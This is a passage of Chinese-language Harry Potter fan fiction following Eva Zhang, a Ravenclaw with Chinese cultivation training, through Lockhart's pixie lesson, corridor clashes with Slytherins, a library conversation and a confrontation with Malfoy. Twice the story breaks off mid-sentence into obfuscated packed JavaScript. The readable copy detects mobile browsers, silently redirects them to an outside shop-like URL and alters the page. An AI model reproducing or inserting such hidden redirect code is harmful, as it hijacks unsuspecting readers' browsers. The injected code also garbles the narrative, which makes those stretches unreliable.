斜对面书架间,一个淡金色的身影一晃而过。 德拉科·马尔福独自站在两排书架后,手指心不在焉地划过书脊,灰蓝色眼睛却没什么焦点。开学这几周,他常是这副模样——在礼堂,当斯莱特林长桌低声议论《预言家日报》上关于他父亲被调查的传言时,他挺直的背脊和刻意抬高的下巴,总藏着某种紧绷的东西。 Eva没有抬眼。这与她无关。她将注意力拉回羊皮纸,继续梳理集会选址与魔法脉络的关联——这是她擅长的,就像爷爷教她辨认草药时,要看根须走向、枝叶脉络。万物皆有联系,只看你能否看清。 黑魔法防御术课,拉文克劳和格兰芬多一起上。Eva和曼蒂、帕德玛走进教室时,里面已经挤满了人。吉德罗·洛哈特正站在讲台前,笑容灿烂得像七月的太阳,穿着那身勿忘我花蓝色的长袍——在灰蒙蒙的雨天里亮得扎眼。 “坐下,坐下!”他热情地招手,牙齿白得晃眼,“今天我们将开始一段激动人心的冒险!” Eva在靠窗的位置坐下。教室里弥漫着一股浓郁的花香味——大概是什么昂贵的男用香水。她看向格兰芬多那边:哈利、罗恩和赫敏坐在第三排。罗恩的脸色比前几天好了些,但依然有些苍白。赫敏的眼睛亮晶晶的,手里紧握着羽毛笔,面前摊开一本崭新的笔记本。 “首先,”洛哈特清了清嗓子,挥动魔杖,“让我们来做个小测试!看看你们读了我那些精彩的著作后,记住了多少!” 他挥动魔杖,一叠试卷从讲台上飞起,准确地落在每个学生面前。 Eva拿起试卷。第一题:“吉德罗·洛哈特最喜欢的颜色是什么?”第二题:“吉德罗·洛哈特的秘密抱负是什么?”第三题:“你认为吉德罗·洛哈特迄今为止最大的成就是什么?” 整整三页纸,五十四道题,全都是关于洛哈特本人的。 曼蒂在旁边倒吸一口冷气:“梅林啊……这算什么?” “写吧,”帕德玛小声说,“总比真的考试简单。” Eva看着试卷,手指无意识地转着羽毛笔。她想起爷爷说过的话:“有些话听着好听,不一定真好。有些人看着不好,不一定真坏。用眼睛看,用耳朵听,更要……用这里。”他指了指心口。 她开始写。不是按照真实想法——那样太冒犯——而是尽量回忆洛哈特书里提到的内容。答案都很官方,很安全。 第一题,她写:“勿忘我花蓝色,象征忠诚与智慧。”第二题,她写:“致力于消除世界上的邪恶,并分享他的知识。”第三题,她写:“著有七本畅销书,将宝贵的防御知识传播给大众。” 写完后,她检查了一遍。答案都很官方,很安全。虽然不完全是她想的,但至少不会得罪人。 半小时后,试卷收了上去。洛哈特快速翻阅着,一边看一边发出满意的“嗯嗯”声。 “不错……不错……格兰杰小姐得了满分!太棒了!格兰芬多加十分!” 赫敏的脸红了,但下巴骄傲地抬起。 “让我看看……”洛哈特继续翻阅,目光在Eva的试卷上停顿了一下,嘴角勾了勾,“张小姐的答案……非常准确,看得出认真阅读了。”洛哈特把Eva的试卷放到一边,嘴角勾了勾——那笑容里有些别的东西,不是纯粹的赞许,更像是……确认了什么。 Eva垂下眼。她知道洛哈特在确认什么——确认她是个“好学生”,会按照他期望的方式回应。就像外交场合,有些人也总在确认你是否会按他们的剧本走。 “那么,让我们进入今天的重头戏!” 他从讲台下拿出一个蒙着布的大笼子,放在讲台上。 “小心!”他戏剧性地压低声音,“这里面……是康沃尔郡小精灵!” 笼子里关着一群铁青色的小生物,大约八英寸高,长着尖尖的脸,嗓门却大得出奇。它们吱吱叫着,在笼子里乱窜。 “别看它们小,”洛哈特得意地说,“这些小恶魔可难对付了!现在,让我们看看你们怎么应付——” 他打开了笼门。 灾难立刻发生了。 小精灵们像火箭一样从笼子里冲出来,四处乱飞。两只抓住天花板上的吊灯,用力摇晃,灰尘和蜘蛛网簌簌落下。另外几只扯下墙上的地图和图表,撕成碎片。还有几只抓起学生的羽毛笔和书本,扔得到处都是。 “来,抓住它们!”洛哈特喊道,拔出魔杖,“皮斯克——皮斯克——佩斯特诺米!” 咒语打偏了,击中了一个书架。书本哗啦啦倒下来,砸在地上。 小精灵们更疯狂了。一只抓起纳威·隆巴顿的耳朵,把他吊到半空。另一只扯下了西莫·斐尼甘的领带。教室里一片混乱,学生们尖叫着躲避,书本和纸张在空中飞舞。 “救命!”拉文德·布朗尖叫着躲到桌子底下。 洛哈特挥舞着魔杖,又念了几个咒语,但全都打偏了。他的笑容终于僵住了,额头上冒出细密的汗珠。 就在这时,赫敏站起来,举起魔杖:“定身!” 一道银光从她杖尖射出,击中最靠近的一只小精灵。那只小精灵僵在半空,然后啪嗒掉在地上。但还有几十只在乱飞。 Eva看见一只小精灵正要去抓曼蒂的头发,立刻举起魔杖:“速速禁锢!” 绳索从杖尖飞出,精准地缠住那只小精灵,把它捆成一团。她没停手,转身又瞄准另一只正要去撕帕德玛课本的小精灵:“束缚!” 第二只小精灵也被捆住了。 “干得好,Eva!”曼蒂喊道,自己也抽出魔杖,“我也试试——统统石化!” 她的咒语打偏了,但打中了墙壁,溅起一片石灰。 哈利和罗恩合作,用漂浮咒把几只小精灵困在墙角。但还有更多在空中乱窜。 “我们需要配合!”赫敏喊道,“Eva,你用束缚咒捆住它们,我用定身咒定住!其他人保护自己和周围同学!” Eva点头。她深吸一口气,让体内的“炁”平稳流转,集中精神。爷爷教过她,在混乱中更要保持冷静。 “束缚!”“束缚!”“束缚!” 她的咒语一个接一个,又快又准。每道咒语都精准地命中目标,绳索像有生命一样缠住小精灵。赫敏紧跟其后,用定身咒将捆住的小精灵彻底制服。 其他学生也加入进来。西莫·斐尼甘用爆炸咒吓退了几只小精灵(虽然差点炸到自己的桌子),迪安·托马斯用变形术把几张纸变成网,罩住了另外几只。 教室后门处,不知何时站了几个路过的斯莱特林学生——他们的教室在隔壁,刚上完魔药课,被这边的巨大动静吸引,正探头探脑地看热闹。德拉科·马尔福也在其中。他抱着双臂靠在门框上,灰蓝色的眼睛扫过一片狼藉的教室,目光掠过那些惊慌失措的学生,最后落在Eva身上。看着她冷静而迅捷地施咒,绳索从杖尖飞出,一个接一个地捆住那些疯狂乱窜的小精灵,动作稳定得不像个二年级生。他嘴角习惯性地下撇,想挂上点讥诮,但那弧度有些僵硬。这女孩……从一年级那些事开始,她就总透着一股让人不舒服的镇定,还有那手又快又准的束缚咒。这个念头一闪而过,让他心里有点说不清的烦躁。 十分钟后,所有小精灵都被制服了。教室里一片狼藉:书本散落,纸张飞舞,墨水泼得到处都是。学生们气喘吁吁,头发凌乱,袍子上沾着灰尘。 洛哈特站在讲台上,脸色有些发白,但很快又恢复了灿烂的笑容。 “很好!很好!”他拍着手,“实践教学总是最有效的!看看你们,已经学会了团队配合!今天的课就到这里——家庭作业,阅读《与食尸鬼同游》的前三章,写一篇关于我如何制服那帮食尸鬼的读后感,不少于三英尺!下周交。” 他匆匆收拾东西,几乎是逃出了教室。 看热闹的斯莱特林们发出几声嗤笑,也转身离开了。马尔福在离开前,目光又在正弯腰捡起一本掉落的书的Eva身上停留了一瞬。她连收拾东西的动作都透着一股说不出的稳当。他皱了皱眉,转身跟上同伴的脚步,袍角甩得有些用力。 “你的束缚咒真厉害,”赫敏走过来,棕色的眼睛里闪着钦佩和好奇的光,“又快又准,我都没看清你念了几次咒语。” “你的定身咒也很棒,”Eva轻声说,把最后几支羽毛笔捡起来,“配合得很好。” 哈利和罗恩也凑过来。罗恩的袍子被扯破了一个口子,但他看起来比刚才精神多了,甚至有点兴奋。“至少我们制服了那些小怪物,”他说,“虽然洛哈特……”他做了个鬼脸,没说完。 他们一起走出教室,融入走廊里下课的人流。哈利和罗恩准备回格兰芬多塔楼,Eva她们则要回拉文克劳塔楼。刚走到三楼走廊,前面传来一阵刻意拔高的、拖着长腔的说话声,语气里充满了幸灾乐祸。 “……要我说,这就是报应。整天把‘纯血统’、‘古老家族’挂在嘴边,结果呢?自己家先被魔法部查了个底朝天。我爸爸说,这次可不是小事,说不定有人要去阿兹卡班观光了。” 说话的是两个六年级的斯莱特林,Eva不认识,但看他们袍子的颜色和那副腔调就知道学院。他们显然在议论最近《预言家日报》上关于卢修斯·马尔福被调查的新闻,声音不大不小,刚好能让附近的人听清。 几个路过的学生皱起眉头,快步绕开了。 罗恩低声对哈利说:“瞧他们那副嘴脸,马尔福家倒霉,他们倒是高兴得很。” 哈利点点头,脸上没什么表情。他对任何斯莱特林都没好感。 Eva本不想理会。但其中一个斯莱特林接下来的话,让她的脚步顿住了。 那人大概是觉得光说马尔福家不够,又想显示自己的“消息灵通”和“高人一等”,故意提高了音量,用周围人都能听到的声音“感慨”道:“所以说,有些人就是看不清自己。家里穷得连像样的袍子都买不起,还敢惹是生非,弄条龙差点把学校炸了。要我说,这种家庭出来的,能有什么教养?不过是靠着点可怜的关系才没被扫地出门罢了。” 他的话锋直指韦斯莱家,尤其是罗恩。罗恩的脸瞬间涨得通红,拳头捏得咯咯响,眼看就要冲上去。哈利一把死死拽住他的胳膊,低吼道:“罗恩!别上当!他是故意的!” 走廊里的气氛瞬间紧绷起来。不少学生停下脚步,看向这边。几个赫奇帕奇的学生面露不赞同,但没敢出声。 Eva看着罗恩因为愤怒涨红的脸,又看看那两个洋洋得意的高年级,目光在那两张写满刻薄的脸上停留了一瞬。然后,她走到罗恩身边,轻轻拍了拍他紧绷的手臂,抬起头,看向那两个高年级学生,声音清晰,语气平静得没有一丝波澜,却像冷泉滴落在石头上: “你们很害怕吗?” 那两个斯莱特林一愣,没明白她的意思。 Eva继续说道,语速不快,每个字都咬得很清楚:“如果不是害怕自己也会遇到麻烦,为什么要急着踩别人?” 她顿了顿,黑白分明的眼睛清澈地望过去,平静地看着他们,像在陈述一个再简单不过的事实: “心虚才会这样。” 走廊里一片寂静。 所有旁观的学生都愣住了,包括哈利和赫敏。那几个原本只是路过的赫奇帕奇学生交换了一个眼神,其中一个微微点了点头。拉文克劳的几个学生也停下了脚步,脸上露出思索的表情。 那两个六年级斯莱特林脸上的得意瞬间凝固,随即变得一阵红一阵白。Eva的话像一根细针,猝不及防地刺破了他们精心维持的优越感,露出了底下某种更不堪的东西——那不仅仅是对马尔福家失势的幸灾乐祸,更是一种隐隐的、对自己地位可能不保的恐慌。被当众这样平静地戳穿,比直接辱骂更让他们难堪。 “你……你一个二年级生,懂什么!”其中一个色厉内荏地喝道,但声音里的底气明显不足,眼神有些闪烁。他旁边的同伴拉了一下他的袖子,低声快速说了句什么,似乎是想让他别再说了。 Eva没有再说话,只是静静地看着他们,那平静的目光反而让他们更加无所适从。她轻轻拉了一下还在发愣的罗恩的袖子,对哈利和赫敏点了点头,示意离开。 而这一幕,被刚从楼下上来、准备去图书馆的德拉科·马尔福,完完整整地看在了眼里,听在了耳中。 家族受挫,父亲被调查,往日里那些附庸家族、甚至同学院的人背地里幸灾乐祸的议论……这些天压在他心头的烦躁、愤怒和难以言说的耻辱感,在看到那两个高年级肆无忌惮地踩踏他家并顺便羞辱韦斯莱时,达到了顶点。他感到一阵反胃般的恶心和暴怒,手指在袖子里捏紧了。 然而,还没等他做出反应——他甚至还没想好是该用恶毒的咒骂回敬,还是装作高傲地无视——那个拉文克劳的Eva Zhang,用几句平静到极点、却又锋利无比的话,像外科手术刀一样,精准地解剖了那两个蠢货的行为。 “心虚才会这样。” 这句话清晰地钻进他耳朵。他看着那两个高年级涨红着脸、哑口无言的窘态,看着周围其他学院学生脸上恍然或认同的表情,看着Eva平静转身离开的背影…… 德拉科站在原地,脸白得像新浆过的衬衫领子。他想嗤笑,想讽刺,想说“谁需要你多管闲事”,但喉咙像被什么堵住了。 更让他心烦意乱的是她说话时那种该死的平静和确信。那不是格兰芬多式的热血冲撞,也不是拉文克劳式的辩才无碍,而是一种……仿佛在陈述“水往下流”般自然事实的笃定。这种全然不以此为傲、也不以此压人的态度,比他熟悉的任何炫耀或攻击都更让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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赫敏很快沉浸在一本《国际魔法遗迹与古代防护咒语考》中,不时在羊皮纸上记下什么。曼蒂和帕德玛凑在一起研究黑魔法防御术的论文——关于识别和驱逐低等黑暗生物的“基本”方法(“洛哈特说这是‘基本’?!”曼蒂小声哀叹)。 Eva摊开自己的魔法史论文,继续梳理中世纪巫师集会与地脉节点的关联。她写得很专注,笔尖在羊皮纸上发出均匀的沙沙声。 对面的赫敏忽然轻轻“咦”了一声,像是发现了什么。她从厚重的《国际魔法家族概览·东亚卷》中抬起头,手指还按在某一页上——那里有一小段关于“张”姓的记录。 “Eva,你的姓氏……在中国魔法界常见吗?”赫敏压低声音,但掩不住好奇,“我刚刚读到……这本书里说,‘张’在中国是一个极其古老的姓氏,在魔法记载中可以追溯到上古时期…公元前2070年之前……哇哦。”她推了推眼镜,“而且这里提到,有些‘张’姓家族传承的魔法体系非常特殊,强调‘心法’和‘炁’的修行,和欧洲的咒语体系完全不同。” “而且这里还提到,东亚的魔法传承体系非常古老,但记载大多语焉不详,而且和欧洲以家族血脉为核心的传承方式似乎不太一样。它用了‘源流深远,支脉繁多,多以师徒心法相承’这样的描述。” Eva从古代如尼文的符号中抬起头,想了想。赫敏的敏锐和好学总是让她印象深刻。“张是一个很常见的姓氏,”她轻声回答,斟酌着用词,“就像史密斯或者琼斯。不过,在我爷爷所属的那个……嗯,传统里,我们一般不叫‘魔法界’,更多是说‘修行’或者‘道’。有很多不同的流派,叫‘门派’或‘宗门’。” “门派?宗门?”赫敏立刻抓住了这个中文词,眼睛更亮了,“类似于……学院?但更加古老和封闭?” “有点像,但也不完全一样。”Eva试着解释,“他们更看重传承的‘法’和‘道’,还有个人的修行和心性。血脉……不是最重要的。”她顿了顿,补充道,“而且,很多门派的历史确实非常久远。我爷爷那一派,据说最古老的‘开山祖师’,也就是创始人,就姓张,但那已经是太久太久以前的事情了,久到几乎成了口耳相传的传说,具体年代早就湮没了。现在的传承,更看重的是当下修行者是否走在了正确的‘道’上。” “创始人?!比霍格沃茨四位创始人的时代还要早吗?”赫敏的声音因为兴奋而稍微提高了一点,随即立刻警觉地看了一眼平斯夫人的方向,压低声音,“有具体的文献或者魔法器物佐证吗?那种古老程度的传承,其魔法原理和现代魔咒学体系会不会有根本性的差异?” Eva笑了笑,那笑容里带着点赫敏难以完全理解的、属于另一种悠久文化的淡然。“可能……要早很多。爷爷是这么说的,但具体早多少,我也说不清。都是一些很老的故事和心法了,更多是靠着师徒之间一代代口传心授,有些东西很难用文字完全记录,也不像这里的魔法有那么清晰的咒语和效果。”她想起爷爷磨墨时说的话,“我爷爷常讲,历史太长,有时候是财富,有时候也是包袱。与其总是回头丈量过去有多远,不如脚踏实地,看清自己脚下的路,修好自己的心。” 赫敏听得入神,羽毛笔无意识地在指尖转动,显然Eva描述的这套截然不同的魔法(或者说“修行”)体系,极大地刺激了她的求知欲。“口传心授……强调心性和道路……这真是太不同的思路了。这或许能解释为什么国际魔法社会对东亚,尤其是中国的魔法体系了解如此之少,记载也这么模糊。不是封闭,而是根本建立在不同的认知基础上……”她喃喃自语,已经陷入了学术思考。 而在不远处,两排高大书架后的阴影里,德拉科·马尔福正假装在查找一本《高级魔药制作》——实际上他早就把这本书的内容背熟了。他是跟着几个斯莱特林同学来的,但刻意落在了后面。此刻,他灰蓝色的眼睛没有聚焦在书脊上,所有注意力都集中在了耳朵捕捉到的、从书架缝隙隐约传来的对话上。 “创始人……比霍格沃茨创始人还早……” “久到成了传说……” “血脉不是最重要的……” “口传心授……不同的认知基础……” 每一个词都像小锤子,轻轻敲打在他固有的认知上。父亲卢修斯含糊其辞的警告(“不要轻易招惹那个女孩,她背后的水可能比我们想的要深”),此刻似乎有了模糊的轮廓。不是明确的权势,而是一种难以衡量的“古老”。不是他熟悉的纯血二十八家的那种“古老”,而是另一种更悠远、更厚重,甚至可能完全不在同一套衡量体系里的“古老”。这种未知,比明确的强大更让人心生忌惮,也让他之前那种混杂着恼怒、轻视和些许不甘的复杂情绪,变得更加难以厘清。 他原本绷着的、准备维持冷漠高傲表情的下颌线,在阴影中几不可察地放松了一瞬,又立刻重新绷紧。最终,他没有走出去,也没有发出任何声音,只是将手里那本根本无心阅读的书轻轻塞回书架,转身,悄无声息地离开了这片区域,淡金色的头发在昏暗的光线下掠过一道微光。平斯夫人抬头瞥了一眼他的背影,又低头继续整理她的索引卡。 窗外,最后一缕天光终于被夜幕吞没。霍格沃茨的灯火次第亮起,映在黑湖幽深的水面上。图书馆里依旧安静,只余下书页翻动和羽毛笔书写的细微声响。但某些信息的涟漪,已经悄然扩散开去。 Eva不知道这场小小的交谈落入了谁的耳中。她回答赫敏,只是出于对朋友真诚提问的回应。她收拾起书本和羊皮纸,准备和朋友们一起返回拉文克劳塔楼。城堡的夜晚似乎和往常一样宁静,但在这宁静的表层之下,一些更加晦暗的波动,正在渐渐临近。 35. 泥巴与过道 九月的最后一周是在连绵细雨中渡过的。 雨水从铅灰色的天空斜斜地飘下来,没完没了,把霍格沃茨城堡浸润得像一块巨大的、吸饱了水的海绵。走廊里总是湿漉漉的,靴子踩在石板上发出沉闷的回响,空气里弥漫着潮湿的石头和旧木头的气味。 Eva已经习惯了这种天气。 每天早晨,当曼蒂还在被窝里嘟囔着“这该死的雨什么时候停”时,她就已经悄悄起身,借着窗外透进的灰蒙蒙天光,在四柱床帷幔的遮掩下盘膝静坐。这不是爷爷要求她做的,但那个暑假养成的习惯像根一样扎下了。在江南,有槐树的清香和晨鸟的啁啾;在这里,只有远方黑湖上传来的风声,和城堡深处隐约的呼吸。但那股温润的“炁”在体内缓缓流淌的感觉是一样的,像一条安静的溪,不声不响,滋养着被伦敦的雨水泡得有些发涩的心肺。 静坐大约二十分钟,等身体里的“炁”完成一次完整的循环,她才起身洗漱。换上熨烫平整的校袍——妈妈在暑假里把一年级那件洗得有些发白的袍子仔细补好了磨损的袖口,又给她新做了一件稍微厚实些的二年级长袍,深蓝色的面料,边缘镶着拉文克劳的蓝铜色滚边,摸起来有种细密的羊毛质感。她把紫竹笔盒和爷爷新给的绢帛笔记小心地放进书包内袋,魔杖插进袍子内侧的口袋,最后摸了摸腕上温润的玉佩——它总是那样,静静地贴着皮肤,像一个沉默的守护者。 然后和曼蒂、帕德玛一起去礼堂吃早饭。拉文克劳长桌上总有些早起的学生,有的在翻着厚重的《高级变形术原理》,有的在低声争论某个古代魔文单词的变体。空气里有燕麦粥的甜香、烤面包的焦香,还有羊皮纸特有的味道。 日子像被雨水浸泡过的羊皮纸,一天天缓慢而沉重地翻过。城堡里的生活似乎恢复了某种节奏:上课、写作业、去图书馆、魁地奇训练(对某些学院来说)。但Eva总觉得有什么东西不一样了。 走廊里偶尔会出现一滩来历不明的水渍,清亮亮的,在火把下反着光,位置总是很奇怪——在某个拐角的墙根,或者一段空旷走廊的正中央。费尔奇为此大发雷霆,认为是哪个捣蛋鬼故意泼的水,但他抓不到人,只能骂骂咧咧地拖着拖把来回擦拭。 空气里也多了点难以形容的味道。不是地下室那种魔药材料的陈腐气,也不是厨房飘来的食物香气,而是一种更淡、更隐蔽的……土腥味?像是暴雨过后花园泥土被翻开的味道,又夹杂着一丝若有若无的、水草般的湿润气息。很轻微,不注意几乎闻不到,但一旦察觉到,就总在鼻尖萦绕不去。 更奇怪的是声音。 不是说话声,也不是城堡常有的那些吱呀声、风声或远处的喧哗。而是一种……低沉的、带着摩擦感的嗡鸣,有时从墙壁深处传来,有时又像是从天花板上面滚过。那声音并不持续,总是突然出现几秒,又突然消失,短促得让人怀疑是不是自己的错觉。 Eva有好几次在图书馆或走廊里停下脚步侧耳细听,但周围的人都一脸茫然——曼蒂说大概是“老城堡的骨头在雨天里发酸”,帕德玛则猜测是“皮皮鬼又在管道里搞什么鬼”。 但Eva觉得不是。 那声音带着一种冰冷的、非人的质感,让她心里莫名发毛,后颈的汗毛会悄悄竖起。玉佩没有反应,但这种本能的不安同样清晰。她想起爷爷笔记里提到的“地气有异,则生祟物”,虽然不知道这古老的东方说法在霍格沃茨是否适用,但那种感觉是相似的:有什么东西,不该在这里的东西,正在城堡的阴影里悄然活动。 十月底,万圣节前夕的星期二,下午是魔药课,拉文克劳和斯莱特林一起上。 走进地下教室时,那股比平时更重的阴冷寒意立刻包裹上来。玻璃罐里浸泡的各种标本在昏黄的火把光下泛着诡异的光泽,长条桌上的铜坩埚冷冰冰地反着光,空气中飘散着干草药和陈年灰尘混合的古怪气味。 斯内普教授像往常一样悄无声息地滑进教室,黑袍在身后翻涌如乌云。他的脸色比城堡外的天空还要阴沉,黑眼睛缓缓扫过全班,目光所及之处,连空气都似乎凝固了几分。 “今天,”他的声音像冰面裂开,不高,却让每个人都绷紧了神经,“熬制肿胀药水。这是一种基础但极易出错的药剂,任何细节的疏忽都会导致……令人不悦的后果。”他顿了顿,目光在几个拉文克劳学生脸上停留了一瞬,“我希望看到完美的青绿色和均匀的气泡。开始。” 教室里立刻响起一片翻书声和材料碰撞的叮当声。Eva和帕德玛一组,她们小心地将干荨麻和河豚鱼胆粉末按比例称好,动作轻而稳。帕德玛的手指在微微发抖,差点把豪猪刺掉到桌上,Eva轻轻碰了碰她的手肘,给了她一个“放松”的眼神。 斯内普教授开始在教室里踱步,黑袍拖在地上发出轻微的沙沙声,像一条伺机而动的蛇。他先是在一组斯莱特林学生——潘西·帕金森和达芙妮·格林格拉斯的操作台前停下。达芙妮的坩埚里,药液颜色有些发暗。 “格林格拉斯小姐,”斯内普的声音不高,但带着惯有的、能刺穿耳膜的讥诮,“你的河豚鱼胆粉末研磨得像巨怪的脚皮。如果不想让你的药水产生令人浮想联翩的副作用,我建议你多用点脑子,少用点……蛮力。”他没有扣分,但那种刻薄的评价让达芙妮的脸涨得通红。 然后他无声地飘到Eva和帕德玛这边。帕德玛因为紧张,在加入豪猪刺时手抖了一下,刺落进坩埚的时机比书上要求晚了那么一两秒。药液的颜色瞬间从理想的青绿转向一种可疑的黄绿色,表面冒出几个不均匀的大气泡。 斯内普教授的视线像冰冷的探针一样扎过来。他盯着那锅不太对劲的药水看了足足三秒,然后抬起眼睛看向帕德玛,嘴角向下撇出一个极度不悦的弧度。“帕蒂尔小姐,”他的声音轻得危险,“显然,你并不认为精确计时是魔药学的必要条件。还是说,拉文克劳的‘智慧’今天休假了?”他顿了顿,冷冷地补充,“拉文克劳扣五分。重做。” 帕德玛的脸唰地白了,嘴唇颤抖着,不敢争辩,赶紧清理坩埚重新开始。Eva轻轻拍了拍她的后背,无声地安慰。 斯内普的目光随即落到Eva这边。她已经接过搅拌棒,手腕稳定地顺时针搅动药液。帕德玛的错误只影响了最开始那一小部分,在Eva精准的调控下,药液正逐渐恢复应有的青绿色,气泡也开始变得均匀细密。坩埚里散发出辛辣但并不刺鼻的气味。 斯内普的黑眼睛在那锅迅速被挽救回来的药水上停留了片刻,又缓缓移向Eva握着搅拌棒的手——手腕很稳,动作均匀而有节奏。然后,他的视线掠过了Eva操作台一角——那里除了标准的魔药工具,还放着一个格格不入的紫檀木细长笔盒,盒子打开了一条缝,露出一截光滑的紫竹笔杆。 他的眉头几不可察地皱了一下,像是在评估一件他不理解但显然不属于魔药课堂的物品。最后,他的目光回到Eva脸上,声音里听不出任何情绪,只有惯有的冷硬:“专注你面前坩埚里的东西,张小姐。我不希望课堂上出现任何……分散注意力的多余物品。” 说完,他转身走向下一组,没有再看她一眼。 Eva轻轻吸了口气,将笔盒的盖子小心合上,收进书包,然后继续专注于手头的药剂。她能感觉到斯内普教授那一眼里的警告——不是针对她的魔药技巧,而是针对她带来的那些“不一样”的东西。 魔药课下课后,她和帕德玛收拾东西准备离开。帕德玛的情绪依然有些低落,Eva轻声安慰着她。她们刚走到教室门口,身后传来斯内普教授低沉的声音: “马尔福,留下。” Eva和帕德玛一起往外走。她听到马尔福低声对克拉布和高尔说了句“你们先走”,然后那沉重的脚步声就朝着讲台方向去了。她没有停留,和帕德玛一起走上了通往主堡的楼梯,把地下室的阴冷和斯内普教授那压迫感十足的留堂抛在身后。别人的私事,与她无关。 万圣节前夕的下午,天气阴沉依旧。 下课后,Eva打算去图书馆查点资料——关于霍格沃茨城堡的建筑结构和可能存在的隐秘空间或管道系统。也许那些水渍和奇怪的声音能有合理的解释。她独自走向图书馆,却在二楼一条主走廊的拐角处,远远传来了一阵隐隐约约地争吵声。 似乎是罗恩·韦斯莱的声音,又急又怒,像炸开了的费力拔烟火,隐约传来,“魔法部”、“没证据”…… Eva转过拐角,远远地看见罗恩、哈利和赫敏站在一边,他们的对面,似乎是德拉科·马尔福,背对着她站着,声音隐隐约约听不真切。 走廊里还有几个其他学院的学生被争吵吸引,驻足在不远处观望,但没人敢靠得太近。 “干了什么?”马尔福拖长了腔调,灰蓝色的眼睛慢条斯理地扫过罗恩通红的脸,“我父亲配合了魔法部的一切‘调查’——这是每个守法巫师应尽的义务。倒是你们家,韦斯莱,”他嘴角的弧度加深,带着恶意的愉悦,“听说因为那辆会飞的破车,你爸爸也在接受‘内部审查’?啧啧,这可真是……家风传承?” 罗恩的脸瞬间涨得更红了,拳头捏得死紧。“至少我们没在庄园里藏黑魔法物品!也没和食死徒勾勾搭搭!” 马尔福脸上的冷笑僵了一瞬,眼底飞快地掠过一丝阴鸷。“说话要讲证据,韦斯莱。”他的声音冷了下来,“《预言家日报》的正式结论你看不懂吗?还是你们格兰芬多的‘勇气’就体现在张口污蔑上?” “需要我提醒你开学前《预言家日报》连续三周的头版吗?”罗恩上前一步,哈利赶紧拉住他的胳膊,“‘神秘事务司突击检查马尔福庄园’、‘可疑物品清单’——这些难道都是编的?” 周围响起几声压抑的抽气声和窃窃私语。那几个围观的学生交换着眼神。 马尔福的下颌线绷紧了。他父亲被调查、庄园被搜查的事,是整个魔法世界都知道的公开羞辱。尽管最终以“未发现不当行为”草草收场,但流言和猜疑就像泼出去的墨水,再也擦不干净。这让他最近在斯莱特林的日子都微妙了许多。 “那只能证明魔法部的效率低下和我父亲的清白。”马尔福的声音变得尖利,“倒是你们,穷得连本像样的课本都买不起,除了像个长舌妇一样议论别人的家事,还能干什么?哦对了,还能偷汽车,撞打人柳,成为全校的笑话!” “你说什么?!”罗恩怒吼,猛地抽出魔杖。哈利也立刻举起了魔杖,绿眼睛里燃着怒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16980651|193567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 火。克拉布和高尔笨拙地向前挪了半步。 “我说你们是笑话!”马尔福也抽出了魔杖,苍白的脸上因为激动浮起红晕,“一家子红毛穷鬼,加上一个自以为是的救世主,还有一个——”他的目光毒蛇般倏地转向赫敏,嘴角扯出一个充满恶意的笑容,“——泥巴种。绝配。” 那个词像一道冰冷的闪电劈在空气里。 赫敏的脸瞬间血色尽褪,嘴唇颤抖着,眼睛里涌上震惊和受伤。罗恩发出一声野兽般的咆哮,魔杖尖端爆出危险的火花:“你这卑鄙的——” 哈利死死拽住罗恩的手臂,自己的魔杖直指马尔福,声音因为愤怒而发颤:“收回那句话,马尔福!现在!” “我为什么要收回?”马尔福冷笑,灰蓝色的眼睛挑衅地瞪着哈利,“我说错了吗?她不就是——” 就在这时,费尔奇那令人厌烦的、拖长了的声音像一把生锈的锯子,猛地切开了一触即发的对峙:“吵什么吵?!聚众斗殴?!在我的走廊里?!” 管理员像一只阴沉的蝙蝠一样从走廊阴影里扑出来,瞪着那双灯泡似的、充满血丝的眼睛,恶狠狠地扫视着剑拔弩张的两拨人。“魔杖!把魔杖都收起来!立刻!格兰芬多!斯莱特林!各扣二十分!再有下次,关禁闭到圣诞节!” 这声呵斥像一盆冰水,暂时浇熄了即将爆发的魔咒乱飞。罗恩还在剧烈喘息,魔杖死死指着马尔福,不肯放下。哈利用力把他往后拉。马尔福脸上的得意僵住了,扣分显然不是他想要的结果。 他狠狠地、像是要把对面三个人生吞活剥似的瞪了他们一眼,从牙缝里挤出一句:“我们走。” 他猛地转身,动作又快又急,想尽快离开这个让他丢了分数的尴尬场面。克拉布和高尔连忙笨拙地跟上。而他转身的方向,正好是Eva走来的方向。 马尔福显然没料到有人正从这边过来,他满心都是未散的怒火和急于离开的焦躁,低着头,脚步又快又重,几乎是一头撞上了Eva。 “砰!” 那一下撞得结结实实。Eva完全没防备,整个人被撞得向后踉跄了一大步,肩膀和后背狠狠磕在冰冷的石墙上,发出一声闷响。剧烈的疼痛从肩胛骨和脊背处炸开,让她眼前瞬间发黑,鼻腔一酸,生理性的泪水不受控制地涌了上来,模糊了视线。她手里的几本书和羊皮纸卷哗啦掉了一地。 马尔福也被撞得后退了半步,他恼怒地抬头,浅金色的眉毛拧在一起,灰蓝色的眼睛里还燃烧着刚才争吵未熄的火焰,混合着被打扰的极度不耐:“没长眼睛吗?!挡在路——” 他的声音戛然而止。 因为他看清了撞到的人是谁。 也因为他看到了Eva此刻的样子——她正一只手死死按着被撞得生疼的肩膀,另一只手撑着墙壁,整个人因为疼痛而微微蜷缩着,眉头紧紧蹙起,嘴唇因为忍痛而抿得发白。最让马尔福呼吸一窒的是,她那双总是平静如深潭的黑色眼睛里,此刻竟蒙上了一层薄薄的水雾——不是哭泣,是纯粹的、因剧痛而激出的生理性泪花,在她浓密的睫毛下闪烁,让她那双眼睛在昏暗的走廊火光中,亮得惊人,也……脆弱得惊人。 